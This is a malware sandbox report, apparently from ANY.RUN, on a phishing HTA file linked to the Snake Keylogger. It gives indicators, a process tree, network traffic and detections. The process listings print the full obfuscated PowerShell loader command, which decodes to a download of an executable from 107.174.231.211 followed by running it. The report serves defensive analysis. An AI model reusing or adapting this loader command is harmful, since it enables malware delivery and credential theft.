File name:

globalshippingservice.hta

Full analysis: https://app.any.run/tasks/a35e4a7f-83e3-406b-b763-fa74ad3d1f59
Verdict: Malicious activity
Threats:

A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools.

Malware Trends Tracker     >>>
Analysis date: March 26, 2025, 15:12:12
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
susp-powershell
loader
evasion
snake
keylogger
stealer
Indicators:
MIME: text/html
File info: HTML document, ASCII text, with very long lines (13777), with CRLF line terminators
MD5:

FBA293BD1C8FECDB94AFA3C5089FDF7A

SHA1:

17808146334657FF049C7B70F4242184B745DE50

SHA256:

B315DE383E867D0068388ADB76517A6AFE58475E7E047AACBEC656BDB40FA7F6

SSDEEP:

96:/CBTaPLTHP0QbbUfuoeVmqUI1TYTDgPvTb+:8OTjcQPSuwK1UwX+

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Accesses environment variables (SCRIPT)

      • mshta.exe (PID: 5376)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 2140)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 5256)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 5256)

    • Starts Visual C# compiler

      • powershell.exe (PID: 5256)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 5256)

    • Steals credentials from Web Browsers

      • RegSvcs.exe (PID: 1300)

    • Actions looks like stealing of personal data

      • RegSvcs.exe (PID: 1300)

    • SNAKEKEYLOGGER has been detected (SURICATA)

      • RegSvcs.exe (PID: 1300)

  • SUSPICIOUS

    • Runs shell command (SCRIPT)

      • mshta.exe (PID: 5376)

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 5376)

    • Executes script without checking the security policy

      • powershell.exe (PID: 5256)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 2140)

    • Base64-obfuscated command line is found

      • cmd.exe (PID: 2140)

    • Possibly malicious use of IEX has been detected

      • cmd.exe (PID: 2140)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 2140)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 5256)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 5256)

    • Uses .NET C# to load dll

      • powershell.exe (PID: 5256)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 8148)

    • Connects to the server without a host name

      • powershell.exe (PID: 5256)

    • Executable content was dropped or overwritten

      • csc.exe (PID: 8148)
      • powershell.exe (PID: 5256)

    • Process requests binary or script from the Internet

      • powershell.exe (PID: 5256)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 5256)

    • Checks for external IP

      • svchost.exe (PID: 2196)
      • RegSvcs.exe (PID: 1300)

    • The process verifies whether the antivirus software is installed

      • RegSvcs.exe (PID: 1300)

  • INFO

    • Reads Internet Explorer settings

      • mshta.exe (PID: 5376)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 5256)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • cmd.exe (PID: 2140)
      • powershell.exe (PID: 5256)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 8148)
      • RegSvcs.exe (PID: 1300)

    • Create files in a temporary directory

      • cvtres.exe (PID: 8168)
      • csc.exe (PID: 8148)
      • cvnn.exe (PID: 4892)

    • The executable file from the user directory is run by the Powershell process

      • cvnn.exe (PID: 4892)

    • Checks supported languages

      • cvtres.exe (PID: 8168)
      • RegSvcs.exe (PID: 1300)
      • cvnn.exe (PID: 4892)

    • Checks proxy server information

      • powershell.exe (PID: 5256)
      • RegSvcs.exe (PID: 1300)
      • BackgroundTransferHost.exe (PID: 7732)

    • Disables trace logs

      • RegSvcs.exe (PID: 1300)

    • Reads security settings of Internet Explorer

      • BackgroundTransferHost.exe (PID: 1164)
      • BackgroundTransferHost.exe (PID: 7732)

    • Reads the software policy settings

      • BackgroundTransferHost.exe (PID: 7732)
      • RegSvcs.exe (PID: 1300)

    • Creates files or folders in the user directory

      • BackgroundTransferHost.exe (PID: 7732)

    • Reads the computer name

      • RegSvcs.exe (PID: 1300)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.html | HyperText Markup Language (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
154
Monitored processes
17
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start mshta.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe sppextcomobj.exe no specs slui.exe csc.exe cvtres.exe no specs cvnn.exe no specs #SNAKEKEYLOGGER regsvcs.exe svchost.exe backgroundtransferhost.exe no specs backgroundtransferhost.exe backgroundtransferhost.exe no specs backgroundtransferhost.exe no specs backgroundtransferhost.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1164"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
1240"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1C:\Windows\System32\BackgroundTransferHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Download/Upload Host
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
1300"C:\Users\admin\AppData\Roaming\cvnn.exe" C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
cvnn.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
1660C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2136\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2140"C:\WINDOWS\system32\cmd.exe" "/c PoWErsHeLl -Ex BypASS -NOp -w 1 -C dEViCeCReDenTialDePLoyMENt.eXe ; IeX($(IEX('[SystEm.tEXT.encodING]'+[CHAR]0x3A+[CHAR]58+'utF8.GeTstrINg([sYsTem.CoNvErt]'+[cHar]58+[char]0x3a+'Frombase64StrInG('+[cHar]34+'JFg5VjE3Y2kgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYmVSRGVmaU5JVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSmVOQ3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRjYVRMU0ZvZmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0VU1pdkxDYSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUnopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIld4WiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWVTUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1b2tYRUcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkWDlWMTdjaTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzQuMjMxLjIxMS8zMzMvY3Zubi5leGUiLCIkRU5WOkFQUERBVEFcY3Zubi5leGUiLDAsMCk7c1RhcnQtc0xlZVAoMyk7aU5Wb0tFLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxjdm5uLmV4ZSI='+[ChaR]0x22+'))')))"C:\Windows\SysWOW64\cmd.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
4892"C:\Users\admin\AppData\Roaming\cvnn.exe" C:\Users\admin\AppData\Roaming\cvnn.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\roaming\cvnn.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\psapi.dll
c:\windows\syswow64\user32.dll
5256PoWErsHeLl -Ex BypASS -NOp -w 1 -C dEViCeCReDenTialDePLoyMENt.eXe ; IeX($(IEX('[SystEm.tEXT.encodING]'+[CHAR]0x3A+[CHAR]58+'utF8.GeTstrINg([sYsTem.CoNvErt]'+[cHar]58+[char]0x3a+'Frombase64StrInG('+[cHar]34+'JFg5VjE3Y2kgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYmVSRGVmaU5JVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSmVOQ3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRjYVRMU0ZvZmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0VU1pdkxDYSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUnopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIld4WiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWVTUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1b2tYRUcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkWDlWMTdjaTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzQuMjMxLjIxMS8zMzMvY3Zubi5leGUiLCIkRU5WOkFQUERBVEFcY3Zubi5leGUiLDAsMCk7c1RhcnQtc0xlZVAoMyk7aU5Wb0tFLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxjdm5uLmV4ZSI='+[ChaR]0x22+'))')))"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
5376"C:\Windows\SysWOW64\mshta.exe" C:\Users\admin\AppData\Local\Temp\globalshippingservice.hta {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}C:\Windows\SysWOW64\mshta.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\advapi32.dll
Total events
12 287
Read events
12 252
Write events
35
Delete events
0

Modification events

(PID) Process:(5376) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(5376) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(5376) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(5256) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(5256) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(5256) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(1300) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(1300) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(1300) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(1300) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:FileTracingMask
Value:
Executable files
3
Suspicious files
10
Text files
7
Unknown types
0

Dropped files

PID
Process
Filename
Type
7732BackgroundTransferHost.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1016ece2-fdea-40b5-a02b-e215d15dc815.down_data —
MD5:—
SHA256:—
5256powershell.exeC:\Users\admin\AppData\Local\Temp\tw0vecg3.cmdlinetext
MD5:F7E71B973300279BD76ED4E6BBDD52A1
SHA256:D10BB838B2074CC4409333B95A2674E7F28EE9431BE04C655DB9DA8BF9E5DE67
5256powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_oxnvrv2g.vvg.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5256powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qojcrdzd.eyu.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
8148csc.exeC:\Users\admin\AppData\Local\Temp\tw0vecg3.dllexecutable
MD5:B9781E7446B0095641B92EA70F761D04
SHA256:EB56F5F6C97582E5BD001657B8140B451266604A720C8186AAF7060325F7461B
5256powershell.exeC:\Users\admin\AppData\Local\Temp\tw0vecg3.0.cstext
MD5:A6C27A69DF33D4C2164173FF594E4BF2
SHA256:D075BE401B0E0035A666E78177F31AD8C2E7851DDDB8F83C165F5154321ABB84
5256powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_53w2ejey.b1g.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5256powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:A00160ED4CF162952EC545E0B3E08EDF
SHA256:7C8025C0D2E4518AE00DCA15714EC869F02EEBFE3A8CBB644144B0D94B23B8AB
5256powershell.exeC:\Users\admin\AppData\Roaming\cvnn.exeexecutable
MD5:C26132D0C0E815F18FDB4ABCF8406B5D
SHA256:4BC39FF044CB3CF9FD5CB288FBB3FA52B2B5C6D21083C060AF3E59D5ED264749
4892cvnn.exeC:\Users\admin\AppData\Local\Temp\aut944.tmpbinary
MD5:D63F1F27D7C20F01FCECD3D96B565BA8
SHA256:8E9EFE5E477FD50BA9DE66421E11EE21CC77B665BAABE1DAA552441E741E10F1
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
30
DNS requests
24
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
23.48.23.145:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
616
firefox.exe
GET
200
34.107.221.82:80
http://detectportal.firefox.com/canonical.html
unknown
—
—
whitelisted
5256
powershell.exe
GET
200
107.174.231.211:80
http://107.174.231.211/333/cvnn.exe
unknown
—
—
malicious
616
firefox.exe
GET
200
34.107.221.82:80
http://detectportal.firefox.com/success.txt?ipv4
unknown
—
—
whitelisted
1300
RegSvcs.exe
GET
200
158.101.44.242:80
http://checkip.dyndns.org/
unknown
—
—
whitelisted
7216
backgroundTaskHost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
1300
RegSvcs.exe
GET
200
158.101.44.242:80
http://checkip.dyndns.org/
unknown
—
—
whitelisted
7732
BackgroundTransferHost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
2268
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.104.136.2:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
23.48.23.145:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
6972
RUXIMICS.exe
51.104.136.2:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
3216
svchost.exe
4.213.25.240:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
6544
svchost.exe
40.126.32.136:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
616
firefox.exe
34.107.221.82:80
detectportal.firefox.com
GOOGLE
US
whitelisted
5256
powershell.exe
107.174.231.211:80
—
AS-COLOCROSSING
US
malicious

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.184.238
whitelisted
crl.microsoft.com
  • 23.48.23.145
  • 23.48.23.180
  • 23.48.23.176
  • 23.48.23.167
  • 23.48.23.143
  • 23.48.23.147
  • 23.48.23.159
  • 23.48.23.193
  • 23.48.23.173
whitelisted
client.wns.windows.com
  • 4.213.25.240
whitelisted
login.live.com
  • 40.126.32.136
  • 20.190.160.132
  • 40.126.32.72
  • 20.190.160.65
  • 20.190.160.14
  • 40.126.32.134
  • 40.126.32.140
  • 20.190.160.128
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
detectportal.firefox.com
  • 34.107.221.82
whitelisted
prod.detectportal.prod.cloudops.mozgcp.net
  • 34.107.221.82
  • 2600:1901:0:38d7::
whitelisted
example.org
  • 96.7.128.186
  • 23.215.0.133
  • 23.215.0.132
  • 96.7.128.192
whitelisted
ipv4only.arpa
  • 192.0.0.170
  • 192.0.0.171
whitelisted
checkip.dyndns.org
  • 158.101.44.242
  • 193.122.130.0
  • 193.122.6.168
  • 132.226.8.169
  • 132.226.247.73
whitelisted

Threats

PID
Process
Class
Message
5256
powershell.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
5256
powershell.exe
A Network Trojan was detected
ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1
5256
powershell.exe
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
5256
powershell.exe
A Network Trojan was detected
ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2
5256
powershell.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
2196
svchost.exe
Device Retrieving External IP Address Detected
ET DYN_DNS External IP Lookup Domain in DNS Query (checkip .dyndns .org)
1300
RegSvcs.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup - checkip.dyndns.org
2196
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Address Lookup Domain (reallyfreegeoip .org)
1300
RegSvcs.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup - checkip.dyndns.org
2196
svchost.exe
Misc activity
ET INFO External IP Address Lookup Domain in DNS Lookup (reallyfreegeoip .org)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
globalshippingservice.hta